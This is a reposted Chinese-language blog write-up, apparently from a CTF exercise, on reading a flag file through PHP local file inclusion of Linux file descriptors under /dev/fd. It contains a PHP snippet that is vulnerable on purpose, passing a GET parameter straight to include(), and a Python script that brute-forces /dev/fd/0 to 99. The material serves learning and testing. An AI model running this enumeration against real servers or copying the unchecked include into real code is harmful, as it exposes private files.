文件包含之包含了Linux文件描述符


0x00 原理

  文件描述符是內核為了高效管理已被打開的文件所創建的索引,用於指向被打開的文件,所有執行I/O操作的系統調用都通過文件描述符。

  • 翻譯成人話- 可以認為是指向文件的一個指針,如果有文件被打開,就生成一個指針指向打開文件的位置。
  • 文件描述符一般在linux的 /dev/fd/目錄下

0x01 代碼審計

<?php
  $fp = fopen("flag.txt", "r");
  echo $fp;
  if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
    include($_GET['include']);
  }
  fclose($fp);
  echo highlight_file(__FILE__, true);
?>

訪問頁面

  之前犯了一個小錯誤,我以為只要打開文件然后查看/dev/fd目錄就能看到新生成的指針, 實在有點天真, 手速怎么可能比電腦快呢?然后就是開始亂查,是不是自己linux權限問題還是php有問題,或者是不能包含文件描述符?最后問了問大佬,馬上就知道錯在哪了,認識大佬真好。

大佬建議寫個腳本進行觀察

<?php
	var_dump(scandir("/dev/fd/"));
	$fp=fopen("flag.txt","r");
	echo '<br/>';

	var_dump(scandir("/dev/fd/"));
	echo '<br/>';
	fclose($fp);
	var_dump(scandir("/dev/fd/"));
	echo '<br/>';
?>

這里我打開的是flag.txt,觀察生成的文件描述符名字是什么

可以看到 當fopen函數打開了 flag.txt時,掃描的fd目錄下突然多出了13,然而13是因為存在12才出現的。可能是文件描述符源碼中數組下標的問題。第12個指針才是真正保存文件位置的指針。

如果是黑盒滲透的情況下,我們需要寫腳本進行爆破。

poc

import requests
url='http://localhost/fa.php'
for i in range(0,100):
    payload=f'?include=/dev/fd/{i}'
    #print(url+payload)
    r=requests.get(url+payload)
    if "flag={" in r.text:
        print(r.text)
        print(payload)

  通過枚舉法爆破每個目錄下的文件名,因為文件描述符的文件名是根據打開文件的個數生成的,比如0代表打開第一個文件,1代表打開第二個文件。

可以得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM